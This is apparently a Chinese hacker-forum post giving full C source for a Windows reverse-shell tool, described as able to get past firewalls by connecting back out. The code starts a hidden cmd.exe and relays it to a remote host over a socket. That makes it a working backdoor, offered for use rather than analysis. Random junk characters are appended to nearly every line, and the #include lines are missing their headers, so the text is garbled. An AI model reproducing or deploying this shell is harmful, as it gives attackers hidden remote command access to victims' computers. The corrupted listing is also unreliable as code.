这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 KkCA*GS
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/* ============================== $#HPwmd
Rebound port in Windows NT N!TC}#}l
By wind,2006/7 gQ0W>\xz
===============================*/ O 8\wH
#include )[Bl3+'
#include p
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#pragma comment(lib,"wsock32.lib") d.)%C]W{
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void OutputShell(); Mqk[+n
SOCKET sClient; ^T.icSxP
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8Q*477=I
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void main(int argc,char **argv) n6 VX0R
{ in[yrqFb7t
WSADATA stWsaData; x3QQ`w-
int nRet; vz*'1ugaA
SOCKADDR_IN stSaiClient,stSaiServer; ^(:Z*+X~>
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if(argc != 3) Z2t
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{ .Z2zv*
printf("Useage:\n\rRebound DestIP DestPort\n"); T 8.
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return; 5TB==Fj ?
} Rr!oT?6J?
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WSAStartup(MAKEWORD(2,2),&stWsaData); $yi[wwf4
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #6'+e35^ 8
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stSaiClient.sin_family = AF_INET; br[n5
stSaiClient.sin_port = htons(0); W3h{5\d!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); P*kKeMl
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) mi>CHa+$
{ ).8i*Ys,:
printf("Bind Socket Failed!\n"); /BaXWrd+
return; {<k}U;uiO
} p&O-]o8
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stSaiServer.sin_family = AF_INET; _]/&NSk
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); M6MtE_E
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); f:K3 P[|
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "x"y3v'
{ h{BO\^6x
printf("Connect Error!"); 6tDCaB
return; _XP3|E;I/
} pRTdP/(OQ
OutputShell(); Sd\+f6x
} b- FJMY
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void OutputShell() 3v:c".O2O
{ J_tI]?jrU
char szBuff[1024]; OM1pyt
SECURITY_ATTRIBUTES stSecurityAttributes; %
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OSVERSIONINFO stOsversionInfo; uTq)Ets3
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &l| :1
STARTUPINFO stStartupInfo; `BGU
char *szShell; a=%QckR*
PROCESS_INFORMATION stProcessInformation; oKlO cws}
unsigned long lBytesRead; NW*qw q
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Fu/{*4
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); V!3.MQM
stSecurityAttributes.lpSecurityDescriptor = 0; =#Qm D=
stSecurityAttributes.bInheritHandle = TRUE; a#NP69
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >RL|W}tI4
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /U1 jCLR'
J]=2] oI2
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,TdL-a5
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >8>}o4Q/X
stStartupInfo.wShowWindow = SW_HIDE; X"z!52*3]
stStartupInfo.hStdInput = hReadPipe; o@! !I w
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; gvi]#|
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GetVersionEx(&stOsversionInfo); Z"u|-RoBV
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switch(stOsversionInfo.dwPlatformId) V1= (^{p8
{ #]_S)_Z-
case 1: 1qgzb
szShell = "command.com"; (8?5REz
break; YJ[Jo3M@j0
default: c~=yD:$
szShell = "cmd.exe"; 0s%rd>3
break; R8K?!Z
} ~H+W[r}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &9*MO
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send(sClient,szMsg,77,0); (q|EC;
while(1) U}]uPvu
{ q&y9(ZvI
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0u7\*Iy
if(lBytesRead) 0
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{ nRL2Z5iO-
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); W2CQk
send(sClient,szBuff,lBytesRead,0); %!_%%p,f
} $!-a)U,w$B
else _);;@T
{ 4qc0QA%
lBytesRead=recv(sClient,szBuff,1024,0); 3"pl="[*
if(lBytesRead<=0) break; TiF2c#Q*y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~l=Jx*
} |##rs
} &\_cU?0d
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return; 8pQ:B/3=
}